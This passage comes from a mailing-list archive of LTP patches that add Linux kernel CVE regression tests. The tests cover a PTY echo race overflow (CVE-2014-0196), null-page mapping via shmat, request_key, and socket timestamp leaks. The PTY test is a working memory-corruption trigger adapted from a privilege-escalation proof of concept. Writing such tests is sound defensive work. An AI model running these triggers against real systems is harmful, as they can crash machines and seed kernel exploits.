+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ * Original POC by Matthew Daley <mattd@bugfuzz.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * This test attempts to cause a buffer overflow using the race condition
+ * described in CVE-2014-0196. If the test is successful in causing an
+ * overflow it will most likely result in an immediate Oops, restart or
+ * freeze. However if it overwrites memory not accessed during the test then
+ * it could happen at a later time or not at all which is more likely if SLAB
+ * randomization has been implemented. However as it currently stands, the test
+ * usually crashes as soon as the delay has been calibrated.
+ *
+ * To maximise the chances of the buffer overflow doing immediate detectable
+ * damage the SLAB filler sockets and ioctls from the original exploit POC
+ * have been kept even though they are not strictly necessary to reproduce the
+ * bug.
+ *
+ * Further details:
+ * see linux commit 4291086b1f081b869c6d79e5b7441633dc3ace00
+ * privilege escalation POC https://www.exploit-db.com/exploits/33516/
+ */
+
+#include <pty.h>
+#include <stdio.h>
+#include <string.h>
+#include <termios.h>
+#include <limits.h>
+
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "tst_safe_pthread.h"
+
+#include "tst_fuzzy_sync.h"
+
+#define ONEOFF_ALLOCS 200
+#define RUN_ALLOCS    30
+#define ATTEMPTS      0x7000
+#define BUFLEN        512
+
+static int master_fd, slave_fd;
+static int filler_ptys[ONEOFF_ALLOCS * 2];
+static int target_ptys[RUN_ALLOCS * 2];
+static char buf[BUFLEN];
+
+static struct tst_fzsync_pair fzsync_pair = {
+	.delay_inc = 100,
+};
+
+static void create_pty(int *amaster, int *aslave)
+{
+	if (openpty(amaster, aslave, NULL, NULL, NULL) == -1)
+		tst_brk(TBROK | TERRNO, "pty creation failed");
+}
+
+static void setup(void)
+{
+	int i;
+
+	tst_fzsync_pair_init(&fzsync_pair);
+	for (i = 0; i < ONEOFF_ALLOCS; i++)
+		create_pty(&filler_ptys[i],
+			   &filler_ptys[i + ONEOFF_ALLOCS]);
+}
+
+static void *overwrite_thread_fn(void *p)
+{
+	tst_fzsync_delay_b(&fzsync_pair);
+	tst_fzsync_time_b(&fzsync_pair);
+
+	SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
+	SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
+	SAFE_WRITE(0, slave_fd, buf, BUFLEN);
+
+	return p;
+}
+
+static void run(void)
+{
+	struct termios t;
+	pthread_t overwrite_thread;
+	int i, j;
+
+	tst_res(TINFO, "Attempting to overflow into a tty_struct...");
+
+	for (i = 0; i < ATTEMPTS; i++) {
+		create_pty(&master_fd, &slave_fd);
+
+		for (j = 0; j < RUN_ALLOCS; j++)
+			create_pty(&target_ptys[j],
+				   &target_ptys[j + RUN_ALLOCS]);
+		SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2]);
+		SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2 + RUN_ALLOCS]);
+
+		SAFE_WRITE(0, slave_fd, buf, 1);
+
+		tcgetattr(master_fd, &t);
+		t.c_oflag &= ~OPOST;
+		t.c_lflag |= ECHO;
+		tcsetattr(master_fd, TCSANOW, &t);
+
+		SAFE_PTHREAD_CREATE(&overwrite_thread, NULL,
+				    overwrite_thread_fn, NULL);
+
+		tst_fzsync_delay_a(&fzsync_pair);
+		tst_fzsync_time_a(&fzsync_pair);
+		SAFE_WRITE(0, master_fd, "A", 1);
+
+		SAFE_PTHREAD_JOIN(overwrite_thread, NULL);
+
+		tst_fzsync_pair_update(i, &fzsync_pair);
+
+		if (!(i & 0x1FFF))
+			tst_fzsync_pair_info(&fzsync_pair);
+
+		for (j = 0; j < RUN_ALLOCS; j++) {
+			if (j == RUN_ALLOCS / 2)
+				continue;
+
+			ioctl(target_ptys[j], 0xdeadbeef);
+			ioctl(target_ptys[j + RUN_ALLOCS], 0xdeadbeef);
+			SAFE_CLOSE(target_ptys[j]);
+			SAFE_CLOSE(target_ptys[j + RUN_ALLOCS]);
+		}
+
+		ioctl(master_fd, 0xdeadbeef);
+		ioctl(slave_fd, 0xdeadbeef);
+		SAFE_CLOSE(master_fd);
+		SAFE_CLOSE(slave_fd);
+	}
+
+	tst_res(TPASS, "Nothing bad happened, probably.");
+}
+
+static void cleanup(void)
+{
+	int i;
+
+	for (i = 0; i < ONEOFF_ALLOCS * 2; i++)
+		close(filler_ptys[i]);
+	close(master_fd);
+	close(slave_fd);
+}
+
+static struct tst_test test = {
+	.tid = "cve-2014-0196",
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+};
-- 
2.12.2


^ permalink raw reply related	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 07/10] Test for CVE-2017-5669 in shmat
  2017-05-22 12:13 [LTP] [PATCH v2 00/10] CVE Tests Richard Palethorpe
                   ` (5 preceding siblings ...)
  2017-05-22 12:13 ` [LTP] [PATCH v2 06/10] Test for CVE-2014-0196 PTY echo race Richard Palethorpe
@ 2017-05-22 12:13 ` Richard Palethorpe
  2017-05-26 19:56   ` Cyril Hrubis
  2017-05-22 12:13 ` [LTP] [PATCH v2 08/10] Test for CVE-2017-6951 in request_key Richard Palethorpe
                   ` (2 subsequent siblings)
  9 siblings, 1 reply; 19+ messages in thread
From: Richard Palethorpe @ 2017-05-22 12:13 UTC (permalink / raw)
  To: ltp

Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
 runtest/cve                   |  2 +
 runtest/syscalls              |  1 +
 testcases/cve/.gitignore      |  1 +
 testcases/cve/cve-2017-5669.c | 90 +++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 94 insertions(+)
 create mode 100644 testcases/cve/cve-2017-5669.c

diff --git a/runtest/cve b/runtest/cve
index 6556ffb0f..ee0614a9c 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -4,3 +4,5 @@ cve-2014-0196 cve-2014-0196
 cve-2016-4997 cve-2016-4997
 cve-2016-5195 dirtyc0w
 cve-2016-7117 cve-2016-7117
+cve-2017-5669 cve-2017-5669
+cve-2017-6951 cve-2017-6951
diff --git a/runtest/syscalls b/runtest/syscalls
index e72ed0166..0f3c45ada 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -1164,6 +1164,7 @@ setxattr03 setxattr03
 shmat01 shmat01
 shmat02 shmat02
 shmat03 shmat03
+cve-2017-5669 cve-2017-5669
 
 shmctl01 shmctl01
 shmctl02 shmctl02
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index ff5844263..715cbab38 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -2,3 +2,4 @@ cve-2012-0957
 cve-2014-0196
 cve-2016-4997
 cve-2016-7117
+cve-2017-5669
diff --git a/testcases/cve/cve-2017-5669.c b/testcases/cve/cve-2017-5669.c
new file mode 100644
index 000000000..a2ad7f8e3
--- /dev/null
+++ b/testcases/cve/cve-2017-5669.c
@@ -0,0 +1,90 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Test for CVE-2017-5669 which allows us to map the nil page using shmat.
+ *
+ * When the bug is present shmat(..., (void *)1, SHM_RND) will round address
+ * 0x1 down to zero and give us the (nil/null) page. With the current bug fix
+ * in place, shmat it will return EINVAL instead. We also check to see if the
+ * returned address is outside the nil page in case an alternative fix has
+ * been applied.
+ *
+ * In any case we manage to map some memory we also try to write to it. This
+ * is just to see if we get an access error or some other unexpected behaviour.
+ *
+ * See commit 95e91b831f (ipc/shm: Fix shmat mmap nil-page protection)
+ */
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/shm.h>
+
+#include <stdio.h>
+#include <errno.h>
+#include <string.h>
+
+#include "tst_test.h"
+
+static int shm_id;
+static void *shm_addr;
+
+static void cleanup(void)
+{
+	if (shm_addr && shmdt(shm_addr) == -1)
+		tst_res(TWARN | TERRNO, "shmdt(shm_addr) == -1");
+	shm_addr = 0;
+
+	if (shm_id && shmctl(shm_id, IPC_RMID, 0) == -1)
+		tst_res(TWARN | TERRNO, "shmctl(shm_id) == -1");
+	shm_id = 0;
+}
+
+static void run(void)
+{
+	shm_id = shmget(IPC_PRIVATE, getpagesize(), 0777);
+	if (shm_id == -1)
+		tst_brk(TBROK | TERRNO,
+			"shmget(shm_key, PAGE_SIZE, IPC_CREATE | 0777) = -1");
+
+	tst_res(TINFO, "Attempting to attach shared memory to null page");
+	shm_addr = shmat(shm_id, ((void *)1), SHM_RND);
+	if (shm_addr == (void *)-1) {
+		if (errno == EINVAL) {
+			tst_res(TPASS, "shmat returned EINVAL");
+			shm_addr = 0;
+			return;
+		}
+		tst_brk(TBROK | TERRNO,
+			"The bug was not triggered, but the shmat error is unexpected");
+	}
+
+	tst_res(TINFO, "Mapped shared memory to %p", shm_addr);
+
+	if (!((size_t)shm_addr & (~0U << 16)))
+		tst_res(TFAIL,
+			"We have mapped a VM address within the first 64Kb");
+	else
+		tst_res(TPASS,
+			"The kernel assigned a different VM address");
+
+	((char *)shm_addr)[0] = 'P';
+}
+
+static struct tst_test test = {
+	.tid = "cve-2017-5669",
+	.cleanup = cleanup,
+	.test_all = run,
+};
-- 
2.12.2


^ permalink raw reply related	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 08/10] Test for CVE-2017-6951 in request_key
  2017-05-22 12:13 [LTP] [PATCH v2 00/10] CVE Tests Richard Palethorpe
                   ` (6 preceding siblings ...)
  2017-05-22 12:13 ` [LTP] [PATCH v2 07/10] Test for CVE-2017-5669 in shmat Richard Palethorpe
@ 2017-05-22 12:13 ` Richard Palethorpe
  2017-05-22 12:13 ` [LTP] [PATCH v2 09/10] Test for CVE-2017-7277 SOF_TIMESTAMPING_OPT_STATS Richard Palethorpe
  2017-05-22 12:13 ` [LTP] [PATCH v2 10/10] Test for CVE-2017-2671 on ping sockets Richard Palethorpe
  9 siblings, 0 replies; 19+ messages in thread
From: Richard Palethorpe @ 2017-05-22 12:13 UTC (permalink / raw)
  To: ltp

Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
 runtest/syscalls              |  1 +
 testcases/cve/.gitignore      |  1 +
 testcases/cve/cve-2017-6951.c | 47 +++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 49 insertions(+)
 create mode 100644 testcases/cve/cve-2017-6951.c

diff --git a/runtest/syscalls b/runtest/syscalls
index 0f3c45ada..271d1e684 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -919,6 +919,7 @@ renameat202 renameat202 -i 10
 
 request_key01 request_key01
 request_key02 request_key02
+cve-2017-6951 cve-2017-6951
 
 rmdir01 rmdir01
 rmdir02 rmdir02
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index 715cbab38..979d18369 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -3,3 +3,4 @@ cve-2014-0196
 cve-2016-4997
 cve-2016-7117
 cve-2017-5669
+cve-2017-6951
diff --git a/testcases/cve/cve-2017-6951.c b/testcases/cve/cve-2017-6951.c
new file mode 100644
index 000000000..0879345b9
--- /dev/null
+++ b/testcases/cve/cve-2017-6951.c
@@ -0,0 +1,47 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Test for CVE-2016-6951, original reproducer can be found here:
+ * http://www.spinics.net/lists/keyrings/msg01845.html
+ *
+ * request_key() is not in glibc, so we just use the syscall directly instead
+ * of linking to keyutils.
+ */
+
+#include <unistd.h>
+#include <sys/syscall.h>
+
+#include "tst_test.h"
+#include "linux_syscall_numbers.h"
+
+#define ATTEMPTS 0x100
+
+static void run(void)
+{
+	int i;
+
+	tst_res(TINFO, "Requesting dead key");
+	for (i = 0; i < ATTEMPTS; i++)
+		tst_syscall(__NR_request_key, "dead", "abc", "abc", 0, 0, 0);
+
+	tst_res(TPASS, "No crash after %d attempts", ATTEMPTS);
+}
+
+static struct tst_test test = {
+	.tid = "cve-2017-6951",
+	.test_all = run,
+};
-- 
2.12.2


^ permalink raw reply related	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 09/10] Test for CVE-2017-7277 SOF_TIMESTAMPING_OPT_STATS
  2017-05-22 12:13 [LTP] [PATCH v2 00/10] CVE Tests Richard Palethorpe
                   ` (7 preceding siblings ...)
  2017-05-22 12:13 ` [LTP] [PATCH v2 08/10] Test for CVE-2017-6951 in request_key Richard Palethorpe
@ 2017-05-22 12:13 ` Richard Palethorpe
  2017-06-20 11:22   ` Richard Palethorpe
  2017-05-22 12:13 ` [LTP] [PATCH v2 10/10] Test for CVE-2017-2671 on ping sockets Richard Palethorpe
  9 siblings, 1 reply; 19+ messages in thread
From: Richard Palethorpe @ 2017-05-22 12:13 UTC (permalink / raw)
  To: ltp

Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
 runtest/cve                   |   1 +
 testcases/cve/.gitignore      |   1 +
 testcases/cve/cve-2017-7277.c | 449 ++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 451 insertions(+)
 create mode 100644 testcases/cve/cve-2017-7277.c

diff --git a/runtest/cve b/runtest/cve
index ee0614a9c..359958ca9 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -6,3 +6,4 @@ cve-2016-5195 dirtyc0w
 cve-2016-7117 cve-2016-7117
 cve-2017-5669 cve-2017-5669
 cve-2017-6951 cve-2017-6951
+cve-2017-7277 cve-2017-7277
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index 979d18369..516ea62a5 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -4,3 +4,4 @@ cve-2016-4997
 cve-2016-7117
 cve-2017-5669
 cve-2017-6951
+cve-2017-7277
diff --git a/testcases/cve/cve-2017-7277.c b/testcases/cve/cve-2017-7277.c
new file mode 100644
index 000000000..9fdbec445
--- /dev/null
+++ b/testcases/cve/cve-2017-7277.c
@@ -0,0 +1,449 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Test for CVE-2017-7277
+ *
+ * There are two bugs:
+ *
+ *   1) __sock_recv_timestamp does not expect SOF_TIMESTAMPING_RX_* to be set
+ *      with SOF_TIMESTAMPING_OPT_STATS. So just assumes it is handling a
+ *      packet from the error queue which will contain TX stats if the socket
+ *      option SOF_TIMESTAMPING_OPT_STATS is set. However if RX timestamping
+ *      is enabled then although there may be an RX timestamp there will be no
+ *      TX stats, so the kernel ends up copying whatever is in the socket
+ *      buffer which could be private or invalid data. Fixed by commit
+ *      8605330aac5a5785630aec8f64378a54891937cc
+ *
+ *   2) __sock_recv_timestamp only checks the socket's
+ *      SOF_TIMESTAMPING_OPT_STATS flag which may be enabled while timestamp
+ *      error packets without stats are still in the pipeline. Fixed by commit
+ *      4ef1b2869447411ad3ef91ad7d4891a83c1a509a
+ *
+ * To detect the first bug we receive some packets on a socket with
+ * SOF_TIMESTAMPING_OPT_STATS set and check the control messages to see if
+ * they contain the message data or malformed timestamp stats.
+ *
+ * To detect the second bug we transmit some packets while toggling
+ * timestamping on and off. Then we check the error message queue for control
+ * messages with malformed timestamp stats. Unfortunately this does not appear
+ * to replicate the bug on my computer, but I have left it in anyway to
+ * provide some coverage for timestamping.
+ *
+ * Feature was introduced by commit 1c885808e45601b2b6f68b30ac1d999e10b6f606
+ * For more information see https://lkml.org/lkml/2017/3/15/485
+ *
+ * The test works with both TCP and UDP which can be changed at compile
+ * time. It probably works with other protocols as well.
+ */
+#include <errno.h>
+#include <stdlib.h>
+#include <string.h>
+#include <signal.h>
+#include <sys/wait.h>
+#include <sys/socket.h>
+#include <linux/socket.h>
+#include <linux/tcp.h>
+#include <linux/netlink.h>
+#include <arpa/inet.h>
+#include <netinet/in.h>
+#include <netinet/ip.h>
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+
+#define MSG_STR "This is not a control message"
+#define MSG_SIZE sizeof(MSG_STR)
+#define PROT SOCK_STREAM
+#define STATS_LEN ((NLA_HDRLEN + NLA_ALIGN(sizeof(__u64))) * 3)
+
+#ifndef SCM_TIMESTAMPING_OPT_STATS
+
+#if defined(__sparc__)
+#define SCM_TIMESTAMPING_OPT_STATS 0x0038
+#elif defined(__hppa__)
+#define SCM_TIMESTAMPING_OPT_STATS 0x402F
+#else
+#define SCM_TIMESTAMPING_OPT_STATS 54
+#endif
+
+/* From <linux/tcp.h> */
+enum {
+	TCP_NLA_PAD,
+	TCP_NLA_BUSY,		/* Time (usec) busy sending data */
+	TCP_NLA_RWND_LIMITED,	/* Time (usec) limited by receive window */
+	TCP_NLA_SNDBUF_LIMITED,	/* Time (usec) limited by send buffer */
+};
+#endif	/* ifndef SCM_TIMESTAMPING_OPT_STATS */
+
+/* From <linux/net_tstamp.h> */
+enum {
+	SOF_TIMESTAMPING_TX_HARDWARE = (1<<0),
+	SOF_TIMESTAMPING_TX_SOFTWARE = (1<<1),
+	SOF_TIMESTAMPING_RX_HARDWARE = (1<<2),
+	SOF_TIMESTAMPING_RX_SOFTWARE = (1<<3),
+	SOF_TIMESTAMPING_SOFTWARE = (1<<4),
+	SOF_TIMESTAMPING_RAW_HARDWARE = (1<<6),
+	SOF_TIMESTAMPING_OPT_ID = (1<<7),
+	SOF_TIMESTAMPING_TX_SCHED = (1<<8),
+	SOF_TIMESTAMPING_TX_ACK = (1<<9),
+	SOF_TIMESTAMPING_OPT_CMSG = (1<<10),
+	SOF_TIMESTAMPING_OPT_TSONLY = (1<<11),
+	SOF_TIMESTAMPING_OPT_STATS = (1<<12),
+};
+
+struct sockaddr_in srv_addr = {
+	.sin_family = AF_INET,
+	.sin_port = 0,
+	.sin_addr = { 0 },
+};
+
+static char buf[MSG_SIZE];
+static int srv_lsn_sock;
+
+static void setup(void)
+{
+	socklen_t addr_len = (socklen_t)sizeof(srv_addr);
+
+	srv_addr.sin_addr = (struct in_addr){
+		htonl(INADDR_LOOPBACK)
+	};
+	srv_lsn_sock = SAFE_SOCKET(AF_INET, PROT, 0);
+	SAFE_BIND(srv_lsn_sock,
+		  (struct sockaddr *)&srv_addr, addr_len);
+	SAFE_GETSOCKNAME(srv_lsn_sock,
+			 (struct sockaddr *)&srv_addr, &addr_len);
+	if ((socklen_t)sizeof(srv_addr) < addr_len)
+		tst_brk(TBROK, "ABI breakage?");
+
+	if (PROT == SOCK_STREAM) {
+		SAFE_LISTEN(srv_lsn_sock, 1);
+		tst_res(TINFO, "Listening on 127.0.0.1:%d",
+			ntohs(srv_addr.sin_port));
+	} else {
+		tst_res(TINFO, "Bound to 127.0.0.1:%d",
+			ntohs(srv_addr.sin_port));
+	}
+
+	strcpy(buf, MSG_STR);
+}
+
+static void cleanup(void)
+{
+	close(srv_lsn_sock);
+	srv_addr.sin_port = 0;
+}
+
+static struct nlattr *nla_next(struct nlattr *nla, int *remaining)
+{
+	int len = NLA_ALIGN(nla->nla_len);
+
+	*remaining -= len;
+	if (*remaining < NLA_HDRLEN)
+		return 0;
+
+	return (struct nlattr *)((char *)nla + len);
+}
+
+static int check_cmsg(struct msghdr *msgh)
+{
+	struct cmsghdr *cmsg;
+	char *data;
+	struct nlattr *nla;
+	int remaining;
+
+	for (cmsg = CMSG_FIRSTHDR(msgh);
+	     cmsg != NULL;
+	     cmsg = CMSG_NXTHDR(msgh, cmsg)) {
+
+		data = (char *)CMSG_DATA(cmsg);
+		if (!strncmp(data, MSG_STR, cmsg->cmsg_len))
+			return TFAIL;
+
+		if (cmsg->cmsg_type != SCM_TIMESTAMPING_OPT_STATS)
+			continue;
+
+		if (cmsg->cmsg_len < STATS_LEN) {
+			tst_res(TFAIL,
+				"Control message is not big enough to contain stats");
+			continue;
+		}
+
+		nla = (struct nlattr *)CMSG_DATA(cmsg);
+		if (nla->nla_type != TCP_NLA_BUSY) {
+			tst_res(TFAIL,
+				"First nlattr should be TCP_NLA_BUSY");
+			continue;
+		}
+
+		remaining = cmsg->cmsg_len;
+		nla = nla_next(nla, &remaining);
+		if (!nla) {
+			tst_res(TFAIL, "TCP_NLA_BUSY length is too long");
+			continue;
+		}
+		if (nla->nla_type != TCP_NLA_RWND_LIMITED) {
+			tst_res(TFAIL,
+				"Second nlattr should be TCP_NLA_RWND_LIMITED");
+			continue;
+		}
+
+		nla = nla_next(nla, &remaining);
+		if (!nla) {
+			tst_res(TFAIL,
+				"TCP_NLA_RWND_LIMITED length is too long");
+			continue;
+		}
+		if (nla->nla_type != TCP_NLA_SNDBUF_LIMITED)
+			tst_res(TFAIL,
+				"Third nlattr should be TCP_NLA_SNDBUF_LIMITED");
+	}
+
+	return TPASS;
+}
+
+static ssize_t write_read(int sock,
+			  int flags,
+			  struct sockaddr_in *peer_addr,
+			  int check)
+{
+	static char cbuf[CMSG_ALIGN(4096)];
+	ssize_t sstat, total = 0;
+	struct iovec vec = {
+		.iov_base = (void *)buf,
+		.iov_len = sizeof(buf)
+	};
+	struct msghdr msg = {
+		.msg_iov = &vec,
+		.msg_iovlen = 1,
+		.msg_control = (void *)cbuf,
+		.msg_controllen = sizeof(cbuf)
+	};
+
+	if (peer_addr != 0) {
+		msg.msg_name = (void *)peer_addr;
+		msg.msg_namelen = (socklen_t)sizeof(struct sockaddr_in);
+	}
+
+	do {
+		sstat = recvmsg(sock, &msg, flags);
+		if (sstat < 0 && errno != EAGAIN) {
+			sstat = -errno;
+			tst_res(TINFO | TERRNO, "recv(%d, %d, %p) < 0",
+				sock, flags, (void *)peer_addr);
+			return sstat;
+		}
+		total += sstat;
+		if (check && check_cmsg(&msg) == TFAIL)
+			tst_res(TFAIL, "Receive msg has bad control message");
+	} while ((size_t)total < MSG_SIZE * 2 && !(flags & MSG_DONTWAIT));
+
+	msg.msg_controllen = 0;
+
+	do {
+		sstat = sendmsg(sock, &msg, flags);
+		if (sstat < 0 && peer_addr != 0 && errno == EDESTADDRREQ)
+			break;
+		if (sstat < 0 && errno != EAGAIN) {
+			sstat = -errno;
+			tst_res(TINFO | TERRNO, "send(%d, %d, %p) < 0",
+				sock, flags, (void *)peer_addr);
+			return sstat;
+		}
+		total += sstat;
+		if (check && check_cmsg(&msg) == TFAIL)
+			tst_res(TFAIL, "Transmit msg has bad control message");
+	} while ((size_t)total < MSG_SIZE && !(flags & MSG_DONTWAIT));
+
+	return total;
+}
+
+static void server(void)
+{
+	int srv_sock;
+	struct sockaddr_in cln_addr;
+	socklen_t addr_len = (socklen_t)sizeof(cln_addr);
+	ssize_t sstat;
+
+	if (PROT == SOCK_STREAM) {
+		srv_sock = accept(srv_lsn_sock,
+				  (struct sockaddr *)&cln_addr, &addr_len);
+		if (srv_sock < 0)
+			tst_brk(TBROK | TERRNO, "Accept failed");
+		tst_res(TINFO,
+			"Server accepted connection, on sock %d", srv_sock);
+	} else {
+		srv_sock = srv_lsn_sock;
+	}
+
+	while (1) {
+		if (PROT == SOCK_STREAM)
+			sstat = write_read(srv_sock, 0, 0, 0);
+		else
+			sstat = write_read(srv_sock, 0, &cln_addr, 0);
+		if (sstat < 0) {
+			close(srv_sock);
+			if (sstat != -ECONNRESET)
+				exit(TBROK);
+			else
+				exit(0);
+		}
+	}
+}
+
+static int inspect_timestamps(int cln_sock)
+{
+	char cbuf[CMSG_ALIGN(4096)];
+	struct sockaddr_in addr;
+	ssize_t sstat;
+	struct msghdr errq_msg = { 0 };
+
+	errq_msg.msg_name = (void *)&addr;
+	errq_msg.msg_namelen = (socklen_t)sizeof(addr);
+	errq_msg.msg_control = (void *)cbuf;
+	errq_msg.msg_controllen = sizeof(cbuf);
+
+	while (1) {
+		sstat = recvmsg(cln_sock, &errq_msg,
+				MSG_ERRQUEUE | MSG_DONTWAIT);
+		if (sstat < 0 && errno == EAGAIN)
+			break;
+		else if (sstat < 0) {
+			tst_res(TBROK | TERRNO,
+				"recvmsg(cln_sock,... , MSG_ERRQUEUE) == -1");
+			return -1;
+		}
+
+		if (check_cmsg(&errq_msg) == TFAIL) {
+			tst_res(TFAIL,
+				"Error queue contains bad control message");
+			break;
+		}
+	}
+
+	return 0;
+}
+
+static void client(void)
+{
+	const unsigned int tsopts_no_stats =
+		SOF_TIMESTAMPING_TX_SOFTWARE
+		| SOF_TIMESTAMPING_TX_SCHED
+		| SOF_TIMESTAMPING_RX_SOFTWARE
+		| SOF_TIMESTAMPING_SOFTWARE
+		| SOF_TIMESTAMPING_TX_HARDWARE
+		| SOF_TIMESTAMPING_RX_HARDWARE
+		| SOF_TIMESTAMPING_RAW_HARDWARE
+		| SOF_TIMESTAMPING_OPT_TSONLY;
+	const unsigned int tsopts_stats =
+		tsopts_no_stats
+		| SOF_TIMESTAMPING_OPT_STATS;
+	int cln_sock;
+	int i, stat;
+	const void *which_opts;
+	pid_t chld;
+
+	cln_sock = SAFE_SOCKET(AF_INET, PROT, 0);
+	tst_res(TINFO, "Created client socket %d", cln_sock);
+	stat = setsockopt(cln_sock, SOL_SOCKET, SO_TIMESTAMPING,
+			  (void *)&tsopts_stats, sizeof(tsopts_stats));
+	if (stat < 0 && errno == EINVAL) {
+		tst_res(TCONF, "SOF_TIMESTAMPING_OPT_STATS not supported");
+		close(cln_sock);
+		exit(0);
+	} else if (stat < 0) {
+		tst_res(TBROK | TERRNO,
+			"setsockopt(cln_sock, SOL_SOCKET, SO_TIMESTAMPING,...) == -1");
+		close(cln_sock);
+		exit(TBROK);
+	}
+
+	stat = connect(cln_sock,
+		       (struct sockaddr *)&srv_addr,
+		       (socklen_t)sizeof(srv_addr));
+	if (stat < 0) {
+		tst_res(TBROK | TERRNO,
+			"connect(cln_sock, srv_addr, ...) < 0");
+		goto error;
+	}
+
+	if (write_read(cln_sock, MSG_DONTWAIT, 0, 1) < 0)
+		goto error;
+
+	chld = SAFE_FORK();
+	if (chld == 0) {
+		for (i = 0; i < 0xFFF; i++) {
+			if (i & 1)
+				which_opts = &tsopts_no_stats;
+			else
+				which_opts = &tsopts_stats;
+			SAFE_SETSOCKOPT(cln_sock, SOL_SOCKET, SO_TIMESTAMPING,
+					which_opts, sizeof(tsopts_stats));
+		}
+		exit(0);
+	}
+
+	for (i = 0; i < 0xFFF; i++)
+		write_read(cln_sock, MSG_DONTWAIT, 0, 0);
+
+	SAFE_WAITPID(chld, &stat, 0);
+
+	if (inspect_timestamps(cln_sock) < 0)
+		goto error;
+
+	close(cln_sock);
+	exit(0);
+error:
+	close(cln_sock);
+	exit(TBROK);
+}
+
+static void run(void)
+{
+	pid_t srv_pid, cln_pid, trm_pid;
+	int stat, brok;
+
+	srv_pid = SAFE_FORK();
+	if (srv_pid == 0)
+		server();
+
+	cln_pid = SAFE_FORK();
+	if (cln_pid == 0)
+		client();
+
+	trm_pid = SAFE_WAITPID(-1, &stat, 0);
+	brok = WIFEXITED(stat) && WEXITSTATUS(stat) != 0;
+	if (trm_pid == srv_pid)
+		SAFE_KILL(cln_pid, SIGTERM);
+	else
+		SAFE_KILL(srv_pid, SIGTERM);
+
+	trm_pid = SAFE_WAITPID(-1, &stat, 0);
+	brok |= WIFEXITED(stat) && WEXITSTATUS(stat) != 0;
+
+	if (brok)
+		tst_brk(TBROK, "Propogating child TBROK");
+	else
+		tst_res(TPASS, "We didn't crash");
+}
+
+static struct tst_test test = {
+	.tid = "cve-2017-7277",
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+	.forks_child = 1,
+};
-- 
2.12.2


^ permalink raw reply related	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 10/10] Test for CVE-2017-2671 on ping sockets
  2017-05-22 12:13 [LTP] [PATCH v2 00/10] CVE Tests Richard Palethorpe
                   ` (8 preceding siblings ...)
  2017-05-22 12:13 ` [LTP] [PATCH v2 09/10] Test for CVE-2017-7277 SOF_TIMESTAMPING_OPT_STATS Richard Palethorpe
@ 2017-05-22 12:13 ` Richard Palethorpe
  9 siblings, 0 replies; 19+ messages in thread
From: Richard Palethorpe @ 2017-05-22 12:13 UTC (permalink / raw)
  To: ltp
